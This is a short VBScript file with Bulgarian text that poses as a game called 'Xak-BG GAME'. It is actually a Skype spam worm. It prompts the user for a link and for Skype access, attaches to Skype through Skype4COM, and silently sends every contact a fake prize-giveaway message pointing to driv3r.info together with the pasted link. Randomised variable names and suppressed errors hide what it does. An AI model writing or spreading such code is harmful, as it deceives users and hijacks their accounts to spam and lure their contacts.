on error resume next 
set NrrlP = WScript.CreateObject("Scripting.FileSystemObject") 
dim msg
msg=inputbox("Въведете вашият линк тук :) Не забравяйте, ако ви поиска разрешения да ползва скайп да му дадете!","Xak-BG GAME")
set NrrlP = WScript.CreateObject("Scripting.FileSystemObject")
set uDlVA = wscript.createobject("wscript.shell")
set yADAl = WScript.CreateObject("Skype4COM.Skype", "Skype_")
yADAl.Client.Start()
yADAl.Attach()
For Each GAG In yADAl.Friends
yADAl.SendMessage GAG.handle,"Играй и спечели http://driv3r.info Всеки месец се раздават Парични и предметни награди. С всеки изминал месец Наградите ще стават по голями, включи се докато е време бъди първи. ;) " + msg
next
msgbox "Game created by Annoyboy. Hosted By Game Portal. Program scripted by Annoyboy. 2008© All rights reserved Game Portal"